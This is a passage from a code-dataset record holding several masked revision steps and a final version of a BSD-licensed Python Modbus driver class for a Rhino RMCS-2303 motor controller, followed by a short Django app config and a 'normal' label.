self.__write_to_register(message)\n self.__status_rotation_direction = self.__IDLE\n <mask token>\n <mask token>\n\n def get_position_raw(self):\n message = rhino.POSITION_FEEDBACK_MESSAGE\n position = self.__read_from_registers(message)\n return position\n <mask token>\n\n def brake_cw(self):\n message = rhino.BRAKE_CW_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__IDLE\n <mask token>\n <mask token>\n", "step-2": "<mask token>\n\n\nclass Controller:\n\n def __init__(self, port_name, slave_address):\n self.__instrument = modbus.Instrument(port_name, slave_address,\n modbus.MODE_ASCII)\n self.__instrument.serial.baudrate = 9600\n self.__instrument.serial.parity = modbus.serial.PARITY_NONE\n self.__instrument.bytesize = 8\n self.__instrument.stopbits = 1\n self.__instrument.timeout = 5\n self.__instrument.write_timeout = 5\n self.__instrument.clear_buffers_before_each_transaction = True\n self.__time_delay = 0.001\n self.__lock_resource = False\n self.name = self.extract_name_from_port_name(port_name)\n self.__status_rotation_direction = 0\n self.__CW = 1\n self.__CCW = -1\n self.__IDLE = 0\n self.__set_lines_per_rotation(rhino.LINES_PER_ROTATION_DEFAULT)\n self.brake()\n self.__go_home()\n self.set_acceleration(rhino.ACCELERATION_DEFAULT)\n self.set_speed(rhino.SPEED_DEFAULT)\n\n @staticmethod\n def __convert_unsigned32_to_signed32(unsigned32_data):\n mid_uint32 = 2147483648\n if unsigned32_data is not None:\n signed32_data = int(unsigned32_data - mid_uint32)\n return signed32_data\n\n @staticmethod\n def __convert_signed32_to_signed16(signed32_data):\n signed16_data = signed32_data >> 16\n return signed16_data\n <mask token>\n\n def __read_from_registers(self, message_list):\n while True:\n try:\n if not self.__lock_resource:\n self.__lock_resource = True\n register_size = 16\n data = self.__instrument.read_registers(message_list[0],\n message_list[1], message_list[2])\n lsb = data[0]\n msb = data[1]\n combined_data = (msb << register_size) + lsb\n time.sleep(self.__time_delay)\n self.__lock_resource = False\n return combined_data\n \"\"\"\n # combine two registers and create a long integer\n def combine_two_registers(self, reg):\n if reg[1] > 32767:\n long_reg = (65535 - reg[1])\n b = long_reg << 16\n out = (b + 65535 - reg[0]) * -1\n else:\n long_reg = reg[1]\n b = long_reg << 16\n out = b + reg[0]\n return out\n \"\"\"\n except KeyboardInterrupt:\n print('Keyboard Interrupt: ' + self.name)\n except modbus.ModbusException as e:\n print('ModbusException at ' + self.name + ': ' + str(e))\n except modbus.serial.SerialException as e:\n print('Modbus Serial Exception at ' + self.name + ': ' + str(e)\n )\n except modbus.InvalidResponseError as e:\n print('Modbus Invalid Response Exception at ' + self.name +\n ': ' + str(e))\n except Exception as e:\n print('Motor Driver Exception at ' + self.name + ': ' + str(e))\n print(traceback.format_exc())\n time.sleep(self.__time_delay)\n <mask token>\n\n def __go_home(self):\n message = rhino.HOME_POSITION_MESSAGE\n self.__write_to_register(message)\n\n def __set_lines_per_rotation(self, lines_per_rotation):\n message = rhino.LINES_PER_ROTATION_MESSAGE\n message[rhino.DATA_INDEX] = lines_per_rotation\n self.__write_to_register(message)\n <mask token>\n\n @staticmethod\n def convert_rad_per_sec_to_rpm(radians_per_sec):\n rpm = radians_per_sec * 9.549297\n rpm_scaled = rpm * rhino.GEAR_RATIO\n return rpm_scaled\n <mask token>\n\n def set_speed(self, speed):\n speed_rpm = abs(int(self.convert_rad_per_sec_to_rpm(speed)))\n if speed_rpm > rhino.SPEED_MAX:\n speed_rpm = rhino.SPEED_MAX\n if speed_rpm < rhino.SPEED_MIN:\n speed_rpm = rhino.SPEED_MIN\n message = rhino.SPEED_MESSAGE\n message[rhino.DATA_INDEX] = speed_rpm\n self.__write_to_register(message)\n\n def set_acceleration(self, acceleration):\n if acceleration > rhino.ACCELERATION_MAX:\n acceleration = rhino.ACCELERATION_MAX\n if acceleration < rhino.ACCELERATION_MIN:\n acceleration = rhino.ACCELERATION_MIN\n message = rhino.ACCELERATION_MESSAGE\n message[rhino.DATA_INDEX] = acceleration\n self.__write_to_register(message)\n <mask token>\n\n def turn_motor_ccw(self):\n message = rhino.TURN_MOTOR_CCW_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__CCW\n\n def stop_rotation_cw(self):\n message = rhino.STOP_MOTOR_CW_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__IDLE\n\n def stop_rotation_ccw(self):\n message = rhino.STOP_MOTOR_CCW_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__IDLE\n\n def stop_rotation(self):\n message = rhino.STOP_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__IDLE\n\n def emergency_stop(self):\n message = rhino.EMERGENCY_STOP_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__IDLE\n <mask token>\n <mask token>\n\n def get_position_raw(self):\n message = rhino.POSITION_FEEDBACK_MESSAGE\n position = self.__read_from_registers(message)\n return position\n\n def get_speed(self):\n message = rhino.SPEED_FEEDBACK_MESSAGE\n speed = self.__read_from_register(message)\n speed = self.__convert_unsigned32_to_signed32(speed)\n return speed\n\n def brake_cw(self):\n message = rhino.BRAKE_CW_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__IDLE\n\n def brake_ccw(self):\n message = rhino.BRAKE_CCW_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__IDLE\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Controller:\n\n def __init__(self, port_name, slave_address):\n self.__instrument = modbus.Instrument(port_name, slave_address,\n modbus.MODE_ASCII)\n self.__instrument.serial.baudrate = 9600\n self.__instrument.serial.parity = modbus.serial.PARITY_NONE\n self.__instrument.bytesize = 8\n self.__instrument.stopbits = 1\n self.__instrument.timeout = 5\n self.__instrument.write_timeout = 5\n self.__instrument.clear_buffers_before_each_transaction = True\n self.__time_delay = 0.001\n self.__lock_resource = False\n self.name = self.extract_name_from_port_name(port_name)\n self.__status_rotation_direction = 0\n self.__CW = 1\n self.__CCW = -1\n self.__IDLE = 0\n self.__set_lines_per_rotation(rhino.LINES_PER_ROTATION_DEFAULT)\n self.brake()\n self.__go_home()\n self.set_acceleration(rhino.ACCELERATION_DEFAULT)\n self.set_speed(rhino.SPEED_DEFAULT)\n\n @staticmethod\n def __convert_unsigned32_to_signed32(unsigned32_data):\n mid_uint32 = 2147483648\n if unsigned32_data is not None:\n signed32_data = int(unsigned32_data - mid_uint32)\n return signed32_data\n\n @staticmethod\n def __convert_signed32_to_signed16(signed32_data):\n signed16_data = signed32_data >> 16\n return signed16_data\n\n def __read_from_register(self, message_list):\n while True:\n try:\n if not self.__lock_resource:\n self.__lock_resource = True\n data = self.__instrument.read_register(message_list[0],\n message_list[1], message_list[2])\n time.sleep(self.__time_delay)\n self.__lock_resource = False\n return data\n except KeyboardInterrupt:\n print('Keyboard Interrupt: ' + self.name)\n except modbus.ModbusException as e:\n print('ModbusException at ' + self.name + ': ' + str(e))\n except modbus.serial.SerialException as e:\n print('Modbus Serial Exception at ' + self.name + ': ' + str(e)\n )\n except modbus.InvalidResponseError as e:\n print('Modbus Invalid Response Exception at ' + self.name +\n ': ' + str(e))\n except Exception as e:\n print('Motor Driver Exception at ' + self.name + ': ' + str(e))\n print(traceback.format_exc())\n time.sleep(self.__time_delay)\n\n def __read_from_registers(self, message_list):\n while True:\n try:\n if not self.__lock_resource:\n self.__lock_resource = True\n register_size = 16\n data = self.__instrument.read_registers(message_list[0],\n message_list[1], message_list[2])\n lsb = data[0]\n msb = data[1]\n combined_data = (msb << register_size) + lsb\n time.sleep(self.__time_delay)\n self.__lock_resource = False\n return combined_data\n \"\"\"\n # combine two registers and create a long integer\n def combine_two_registers(self, reg):\n if reg[1] > 32767:\n long_reg = (65535 - reg[1])\n b = long_reg << 16\n out = (b + 65535 - reg[0]) * -1\n else:\n long_reg = reg[1]\n b = long_reg << 16\n out = b + reg[0]\n return out\n \"\"\"\n except KeyboardInterrupt:\n print('Keyboard Interrupt: ' + self.name)\n except modbus.ModbusException as e:\n print('ModbusException at ' + self.name + ': ' + str(e))\n except modbus.serial.SerialException as e:\n print('Modbus Serial Exception at ' + self.name + ': ' + str(e)\n )\n except modbus.InvalidResponseError as e:\n print('Modbus Invalid Response Exception at ' + self.name +\n ': ' + str(e))\n except Exception as e:\n print('Motor Driver Exception at ' + self.name + ': ' + str(e))\n print(traceback.format_exc())\n time.sleep(self.__time_delay)\n <mask token>\n\n def __go_home(self):\n message = rhino.HOME_POSITION_MESSAGE\n self.__write_to_register(message)\n\n def __set_lines_per_rotation(self, lines_per_rotation):\n message = rhino.LINES_PER_ROTATION_MESSAGE\n message[rhino.DATA_INDEX] = lines_per_rotation\n self.__write_to_register(message)\n\n @staticmethod\n def extract_name_from_port_name(port_name):\n chars = port_name.split('/')\n name = chars[len(chars) - 1]\n return name\n\n @staticmethod\n def convert_rad_per_sec_to_rpm(radians_per_sec):\n rpm = radians_per_sec * 9.549297\n rpm_scaled = rpm * rhino.GEAR_RATIO\n return rpm_scaled\n\n @staticmethod\n def convert_rpm_to_rad_per_sec(rpm):\n radians_per_sec = rpm * 0.10472\n radians_per_sec_scaled = radians_per_sec / rhino.GEAR_RATIO\n return radians_per_sec_scaled\n\n def set_speed(self, speed):\n speed_rpm = abs(int(self.convert_rad_per_sec_to_rpm(speed)))\n if speed_rpm > rhino.SPEED_MAX:\n speed_rpm = rhino.SPEED_MAX\n if speed_rpm < rhino.SPEED_MIN:\n speed_rpm = rhino.SPEED_MIN\n message = rhino.SPEED_MESSAGE\n message[rhino.DATA_INDEX] = speed_rpm\n self.__write_to_register(message)\n\n def set_acceleration(self, acceleration):\n if acceleration > rhino.ACCELERATION_MAX:\n acceleration = rhino.ACCELERATION_MAX\n if acceleration < rhino.ACCELERATION_MIN:\n acceleration = rhino.ACCELERATION_MIN\n message = rhino.ACCELERATION_MESSAGE\n message[rhino.DATA_INDEX] = acceleration\n self.__write_to_register(message)\n\n def turn_motor_cw(self):\n message = rhino.TURN_MOTOR_CW_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__CW\n\n def turn_motor_ccw(self):\n message = rhino.TURN_MOTOR_CCW_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__CCW\n\n def stop_rotation_cw(self):\n message = rhino.STOP_MOTOR_CW_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__IDLE\n\n def stop_rotation_ccw(self):\n message = rhino.STOP_MOTOR_CCW_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__IDLE\n\n def stop_rotation(self):\n message = rhino.STOP_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__IDLE\n\n def emergency_stop(self):\n message = rhino.EMERGENCY_STOP_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__IDLE\n <mask token>\n\n def get_position_16bit(self):\n message = rhino.POSITION_FEEDBACK_MESSAGE\n position = self.__read_from_registers(message)\n position_32bit = self.__convert_unsigned32_to_signed32(position)\n position_16bit = self.__convert_signed32_to_signed16(position_32bit)\n return position_16bit\n\n def get_position_raw(self):\n message = rhino.POSITION_FEEDBACK_MESSAGE\n position = self.__read_from_registers(message)\n return position\n\n def get_speed(self):\n message = rhino.SPEED_FEEDBACK_MESSAGE\n speed = self.__read_from_register(message)\n speed = self.__convert_unsigned32_to_signed32(speed)\n return speed\n\n def brake_cw(self):\n message = rhino.BRAKE_CW_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__IDLE\n\n def brake_ccw(self):\n message = rhino.BRAKE_CCW_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__IDLE\n <mask token>\n", "step-4": "<mask token>\n\n\nclass Controller:\n\n def __init__(self, port_name, slave_address):\n self.__instrument = modbus.Instrument(port_name, slave_address,\n modbus.MODE_ASCII)\n self.__instrument.serial.baudrate = 9600\n self.__instrument.serial.parity = modbus.serial.PARITY_NONE\n self.__instrument.bytesize = 8\n self.__instrument.stopbits = 1\n self.__instrument.timeout = 5\n self.__instrument.write_timeout = 5\n self.__instrument.clear_buffers_before_each_transaction = True\n self.__time_delay = 0.001\n self.__lock_resource = False\n self.name = self.extract_name_from_port_name(port_name)\n self.__status_rotation_direction = 0\n self.__CW = 1\n self.__CCW = -1\n self.__IDLE = 0\n self.__set_lines_per_rotation(rhino.LINES_PER_ROTATION_DEFAULT)\n self.brake()\n self.__go_home()\n self.set_acceleration(rhino.ACCELERATION_DEFAULT)\n self.set_speed(rhino.SPEED_DEFAULT)\n\n @staticmethod\n def __convert_unsigned32_to_signed32(unsigned32_data):\n mid_uint32 = 2147483648\n if unsigned32_data is not None:\n signed32_data = int(unsigned32_data - mid_uint32)\n return signed32_data\n\n @staticmethod\n def __convert_signed32_to_signed16(signed32_data):\n signed16_data = signed32_data >> 16\n return signed16_data\n\n def __read_from_register(self, message_list):\n while True:\n try:\n if not self.__lock_resource:\n self.__lock_resource = True\n data = self.__instrument.read_register(message_list[0],\n message_list[1], message_list[2])\n time.sleep(self.__time_delay)\n self.__lock_resource = False\n return data\n except KeyboardInterrupt:\n print('Keyboard Interrupt: ' + self.name)\n except modbus.ModbusException as e:\n print('ModbusException at ' + self.name + ': ' + str(e))\n except modbus.serial.SerialException as e:\n print('Modbus Serial Exception at ' + self.name + ': ' + str(e)\n )\n except modbus.InvalidResponseError as e:\n print('Modbus Invalid Response Exception at ' + self.name +\n ': ' + str(e))\n except Exception as e:\n print('Motor Driver Exception at ' + self.name + ': ' + str(e))\n print(traceback.format_exc())\n time.sleep(self.__time_delay)\n\n def __read_from_registers(self, message_list):\n while True:\n try:\n if not self.__lock_resource:\n self.__lock_resource = True\n register_size = 16\n data = self.__instrument.read_registers(message_list[0],\n message_list[1], message_list[2])\n lsb = data[0]\n msb = data[1]\n combined_data = (msb << register_size) + lsb\n time.sleep(self.__time_delay)\n self.__lock_resource = False\n return combined_data\n \"\"\"\n # combine two registers and create a long integer\n def combine_two_registers(self, reg):\n if reg[1] > 32767:\n long_reg = (65535 - reg[1])\n b = long_reg << 16\n out = (b + 65535 - reg[0]) * -1\n else:\n long_reg = reg[1]\n b = long_reg << 16\n out = b + reg[0]\n return out\n \"\"\"\n except KeyboardInterrupt:\n print('Keyboard Interrupt: ' + self.name)\n except modbus.ModbusException as e:\n print('ModbusException at ' + self.name + ': ' + str(e))\n except modbus.serial.SerialException as e:\n print('Modbus Serial Exception at ' + self.name + ': ' + str(e)\n )\n except modbus.InvalidResponseError as e:\n print('Modbus Invalid Response Exception at ' + self.name +\n ': ' + str(e))\n except Exception as e:\n print('Motor Driver Exception at ' + self.name + ': ' + str(e))\n print(traceback.format_exc())\n time.sleep(self.__time_delay)\n\n def __write_to_register(self, message_list):\n while True:\n try:\n if not self.__lock_resource:\n self.__lock_resource = True\n self.__instrument.write_register(message_list[0],\n message_list[1], message_list[2], message_list[3])\n time.sleep(self.__time_delay)\n self.__lock_resource = False\n return\n except KeyboardInterrupt:\n print('Keyboard Interrupt: ' + self.name)\n except modbus.ModbusException as e:\n print('ModbusException at ' + self.name + ': ' + str(e))\n except modbus.serial.SerialException as e:\n print('Modbus Serial Exception at ' + self.name + ': ' + str(e)\n )\n except modbus.InvalidResponseError as e:\n print('Modbus Invalid Response Exception at ' + self.name +\n ': ' + str(e))\n except Exception as e:\n print('Motor Driver Exception at ' + self.name + ': ' + str(e))\n print(traceback.format_exc())\n time.sleep(self.__time_delay)\n\n def __go_home(self):\n message = rhino.HOME_POSITION_MESSAGE\n self.__write_to_register(message)\n\n def __set_lines_per_rotation(self, lines_per_rotation):\n message = rhino.LINES_PER_ROTATION_MESSAGE\n message[rhino.DATA_INDEX] = lines_per_rotation\n self.__write_to_register(message)\n\n @staticmethod\n def extract_name_from_port_name(port_name):\n chars = port_name.split('/')\n name = chars[len(chars) - 1]\n return name\n\n @staticmethod\n def convert_rad_per_sec_to_rpm(radians_per_sec):\n rpm = radians_per_sec * 9.549297\n rpm_scaled = rpm * rhino.GEAR_RATIO\n return rpm_scaled\n\n @staticmethod\n def convert_rpm_to_rad_per_sec(rpm):\n radians_per_sec = rpm * 0.10472\n radians_per_sec_scaled = radians_per_sec / rhino.GEAR_RATIO\n return radians_per_sec_scaled\n\n def set_speed(self, speed):\n speed_rpm = abs(int(self.convert_rad_per_sec_to_rpm(speed)))\n if speed_rpm > rhino.SPEED_MAX:\n speed_rpm = rhino.SPEED_MAX\n if speed_rpm < rhino.SPEED_MIN:\n speed_rpm = rhino.SPEED_MIN\n message = rhino.SPEED_MESSAGE\n message[rhino.DATA_INDEX] = speed_rpm\n self.__write_to_register(message)\n\n def set_acceleration(self, acceleration):\n if acceleration > rhino.ACCELERATION_MAX:\n acceleration = rhino.ACCELERATION_MAX\n if acceleration < rhino.ACCELERATION_MIN:\n acceleration = rhino.ACCELERATION_MIN\n message = rhino.ACCELERATION_MESSAGE\n message[rhino.DATA_INDEX] = acceleration\n self.__write_to_register(message)\n\n def turn_motor_cw(self):\n message = rhino.TURN_MOTOR_CW_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__CW\n\n def turn_motor_ccw(self):\n message = rhino.TURN_MOTOR_CCW_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__CCW\n\n def stop_rotation_cw(self):\n message = rhino.STOP_MOTOR_CW_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__IDLE\n\n def stop_rotation_ccw(self):\n message = rhino.STOP_MOTOR_CCW_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__IDLE\n\n def stop_rotation(self):\n message = rhino.STOP_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__IDLE\n\n def emergency_stop(self):\n message = rhino.EMERGENCY_STOP_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__IDLE\n\n def get_position_32bit(self):\n message = rhino.POSITION_FEEDBACK_MESSAGE\n position = self.__read_from_registers(message)\n return position\n\n def get_position_16bit(self):\n message = rhino.POSITION_FEEDBACK_MESSAGE\n position = self.__read_from_registers(message)\n position_32bit = self.__convert_unsigned32_to_signed32(position)\n position_16bit = self.__convert_signed32_to_signed16(position_32bit)\n return position_16bit\n\n def get_position_raw(self):\n message = rhino.POSITION_FEEDBACK_MESSAGE\n position = self.__read_from_registers(message)\n return position\n\n def get_speed(self):\n message = rhino.SPEED_FEEDBACK_MESSAGE\n speed = self.__read_from_register(message)\n speed = self.__convert_unsigned32_to_signed32(speed)\n return speed\n\n def brake_cw(self):\n message = rhino.BRAKE_CW_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__IDLE\n\n def brake_ccw(self):\n message = rhino.BRAKE_CCW_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__IDLE\n\n def brake(self):\n if self.__status_rotation_direction == self.__CW:\n self.brake_cw()\n print(self.name + ': Brake CW')\n self.__status_rotation_direction = self.__IDLE\n elif self.__status_rotation_direction == self.__CCW:\n self.brake_ccw()\n print(self.name + ': Brake CCW')\n self.__status_rotation_direction = self.__IDLE\n elif self.__status_rotation_direction == self.__IDLE:\n print(self.name + ': Motor idle')\n else:\n print(self.name + ': Motor Unknown Rotation Status')\n", "step-5": "#!/usr/bin/env python3\n\n# Rhino Motor Driver (RMCS 2303) - Basic Modbus Communication\n# -----------------------------------------------------------\n\n\"\"\"\n BSD 3-Clause License\n\n Copyright (c) 2021, Rajesh Subramanian\n All rights reserved.\n\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice, this\n list of conditions and the following disclaimer.\n\n * Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and/or other materials provided with the distribution.\n\n * Neither the name of the copyright holder nor the names of its\n contributors may be used to endorse or promote products derived from\n this software without specific prior written permission.\n\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\n FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\"\"\"\n\nimport time\nimport traceback\nimport minimalmodbus as modbus\nimport rhino_params as rhino\n\n\nclass Controller:\n def __init__(self, port_name, slave_address):\n # Parameters\n self.__instrument = modbus.Instrument(port_name, slave_address, modbus.MODE_ASCII)\n self.__instrument.serial.baudrate = 9600\n self.__instrument.serial.parity = modbus.serial.PARITY_NONE\n self.__instrument.bytesize = 8\n self.__instrument.stopbits = 1\n self.__instrument.timeout = 5 # seconds\n self.__instrument.write_timeout = 5 # seconds\n self.__instrument.clear_buffers_before_each_transaction = True\n # self.__instrument.close_port_after_each_call = True\n self.__time_delay = 0.001 #0.001 # default: 1 ms\n self.__lock_resource = False # To prevent issuing simultaneous commands to RMCS2303 motor controller. Eg.\n # trying to read encoder value while writing motor enable command\n self.name = self.extract_name_from_port_name(port_name)\n self.__status_rotation_direction = 0\n self.__CW = 1 # clockwise rotation status\n self.__CCW = -1 # counter clockwise rotation status\n self.__IDLE = 0 # no rotation status\n\n # Functions\n self.__set_lines_per_rotation(rhino.LINES_PER_ROTATION_DEFAULT)\n self.brake()\n self.__go_home()\n self.set_acceleration(rhino.ACCELERATION_DEFAULT)\n self.set_speed(rhino.SPEED_DEFAULT)\n\n # Private Functions\n # -----------------\n @staticmethod\n def __convert_unsigned32_to_signed32(unsigned32_data):\n # UInt32 range: 0 to 4294967295\n # Int32 range: -2147483648 to 2147483647\n mid_uint32 = 2147483648\n if unsigned32_data is not None:\n signed32_data = int(unsigned32_data - mid_uint32)\n return signed32_data\n\n @staticmethod\n def __convert_signed32_to_signed16(signed32_data):\n # Int16 range: -32768 to 32767\n signed16_data = signed32_data >> 16\n return signed16_data\n\n def __read_from_register(self, message_list):\n while True: # Attempt sending message until the controller is free\n try:\n if not self.__lock_resource: # Check if controller is in use\n self.__lock_resource = True\n data = self.__instrument.read_register(message_list[0], message_list[1], message_list[2])\n time.sleep(self.__time_delay)\n self.__lock_resource = False\n return data\n except KeyboardInterrupt:\n print(\"Keyboard Interrupt: \" + self.name)\n except modbus.ModbusException as e:\n print(\"ModbusException at \" + self.name + \": \" + str(e))\n except modbus.serial.SerialException as e:\n print(\"Modbus Serial Exception at \" + self.name + \": \" + str(e))\n except modbus.InvalidResponseError as e:\n print(\"Modbus Invalid Response Exception at \" + self.name + \": \" + str(e))\n except Exception as e:\n print(\"Motor Driver Exception at \" + self.name + \": \" + str(e))\n print(traceback.format_exc())\n time.sleep(self.__time_delay)\n\n def __read_from_registers(self, message_list):\n while True: # Attempt sending message until the controller is free\n try:\n if not self.__lock_resource: # Check if controller is in use\n self.__lock_resource = True\n register_size = 16\n data = self.__instrument.read_registers(message_list[0], message_list[1], message_list[2])\n lsb = data[0]\n msb = data[1]\n combined_data = (msb << register_size) + lsb # combining two 16 bit values into one 32 bit value\n time.sleep(self.__time_delay)\n self.__lock_resource = False\n return combined_data\n '''\n # combine two registers and create a long integer\n def combine_two_registers(self, reg):\n if reg[1] > 32767:\n long_reg = (65535 - reg[1])\n b = long_reg << 16\n out = (b + 65535 - reg[0]) * -1\n else:\n long_reg = reg[1]\n b = long_reg << 16\n out = b + reg[0]\n return out\n '''\n except KeyboardInterrupt:\n print(\"Keyboard Interrupt: \" + self.name)\n except modbus.ModbusException as e:\n print(\"ModbusException at \" + self.name + \": \" + str(e))\n except modbus.serial.SerialException as e:\n print(\"Modbus Serial Exception at \" + self.name + \": \" + str(e))\n except modbus.InvalidResponseError as e:\n print(\"Modbus Invalid Response Exception at \" + self.name + \": \" + str(e))\n except Exception as e:\n print(\"Motor Driver Exception at \" + self.name + \": \" + str(e))\n print(traceback.format_exc())\n time.sleep(self.__time_delay)\n\n def __write_to_register(self, message_list):\n while True: # Attempt sending message until the controller is free\n try:\n if not self.__lock_resource: # Check if controller is in use\n self.__lock_resource = True\n self.__instrument.write_register(message_list[0], message_list[1], message_list[2], message_list[3])\n time.sleep(self.__time_delay)\n self.__lock_resource = False\n return\n except KeyboardInterrupt:\n print(\"Keyboard Interrupt: \" + self.name)\n except modbus.ModbusException as e:\n print(\"ModbusException at \" + self.name + \": \" + str(e))\n except modbus.serial.SerialException as e:\n print(\"Modbus Serial Exception at \" + self.name + \": \" + str(e))\n except modbus.InvalidResponseError as e:\n print(\"Modbus Invalid Response Exception at \" + self.name + \": \" + str(e))\n except Exception as e:\n print(\"Motor Driver Exception at \" + self.name + \": \" + str(e))\n print(traceback.format_exc())\n\n time.sleep(self.__time_delay)\n\n def __go_home(self):\n message = rhino.HOME_POSITION_MESSAGE\n self.__write_to_register(message)\n\n def __set_lines_per_rotation(self, lines_per_rotation):\n message = rhino.LINES_PER_ROTATION_MESSAGE\n message[rhino.DATA_INDEX] = lines_per_rotation\n self.__write_to_register(message)\n\n # Public Functions\n # ----------------\n @staticmethod\n def extract_name_from_port_name(port_name):\n chars = port_name.split(\"/\")\n name = chars[len(chars) - 1]\n return name\n\n @staticmethod\n def convert_rad_per_sec_to_rpm(radians_per_sec):\n # Formula: rpm = rad/sec * 9.549297\n rpm = radians_per_sec * 9.549297\n rpm_scaled = rpm * rhino.GEAR_RATIO\n return rpm_scaled\n\n @staticmethod\n def convert_rpm_to_rad_per_sec(rpm):\n # Formula: rad/sec = rpm * 0.10472\n radians_per_sec = rpm * 0.10472\n radians_per_sec_scaled = radians_per_sec / rhino.GEAR_RATIO\n return radians_per_sec_scaled\n\n def set_speed(self, speed):\n speed_rpm = abs(int(self.convert_rad_per_sec_to_rpm(speed)))\n if speed_rpm > rhino.SPEED_MAX:\n speed_rpm = rhino.SPEED_MAX\n if speed_rpm < rhino.SPEED_MIN:\n speed_rpm = rhino.SPEED_MIN\n message = rhino.SPEED_MESSAGE\n message[rhino.DATA_INDEX] = speed_rpm\n self.__write_to_register(message)\n\n def set_acceleration(self, acceleration):\n if acceleration > rhino.ACCELERATION_MAX:\n acceleration = rhino.ACCELERATION_MAX\n if acceleration < rhino.ACCELERATION_MIN:\n acceleration = rhino.ACCELERATION_MIN\n message = rhino.ACCELERATION_MESSAGE\n message[rhino.DATA_INDEX] = acceleration\n self.__write_to_register(message)\n\n def turn_motor_cw(self):\n message = rhino.TURN_MOTOR_CW_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__CW\n\n def turn_motor_ccw(self):\n message = rhino.TURN_MOTOR_CCW_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__CCW\n\n def stop_rotation_cw(self):\n message = rhino.STOP_MOTOR_CW_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__IDLE\n\n def stop_rotation_ccw(self):\n message = rhino.STOP_MOTOR_CCW_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__IDLE\n\n def stop_rotation(self):\n message = rhino.STOP_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__IDLE\n\n def emergency_stop(self):\n message = rhino.EMERGENCY_STOP_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__IDLE\n\n def get_position_32bit(self):\n message = rhino.POSITION_FEEDBACK_MESSAGE\n position = self.__read_from_registers(message)\n # position = self.__convert_unsigned32_to_signed32(position)\n return position\n\n def get_position_16bit(self):\n message = rhino.POSITION_FEEDBACK_MESSAGE\n position = self.__read_from_registers(message)\n position_32bit = self.__convert_unsigned32_to_signed32(position)\n position_16bit = self.__convert_signed32_to_signed16(position_32bit)\n return position_16bit\n\n def get_position_raw(self):\n message = rhino.POSITION_FEEDBACK_MESSAGE\n position = self.__read_from_registers(message)\n return position\n\n def get_speed(self):\n message = rhino.SPEED_FEEDBACK_MESSAGE\n speed = self.__read_from_register(message)\n speed = self.__convert_unsigned32_to_signed32(speed)\n return speed\n\n def brake_cw(self):\n message = rhino.BRAKE_CW_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__IDLE\n\n def brake_ccw(self):\n message = rhino.BRAKE_CCW_MESSAGE\n self.__write_to_register(message)\n self.__status_rotation_direction = self.__IDLE\n\n def brake(self):\n if self.__status_rotation_direction == self.__CW:\n self.brake_cw()\n print(self.name + \": Brake CW\")\n self.__status_rotation_direction = self.__IDLE\n elif self.__status_rotation_direction == self.__CCW:\n self.brake_ccw()\n print(self.name + \": Brake CCW\")\n self.__status_rotation_direction = self.__IDLE\n elif self.__status_rotation_direction == self.__IDLE:\n print(self.name + \": Motor idle\")\n else:\n print(self.name + \": Motor Unknown Rotation Status\")\n", "step-ids": [ 16, 19, 24, 27, 29 ] }
[ 16, 19, 24, 27, 29 ]
from django.apps import AppConfig class EasyTechConfig(AppConfig): name = 'easy_tech'
normal
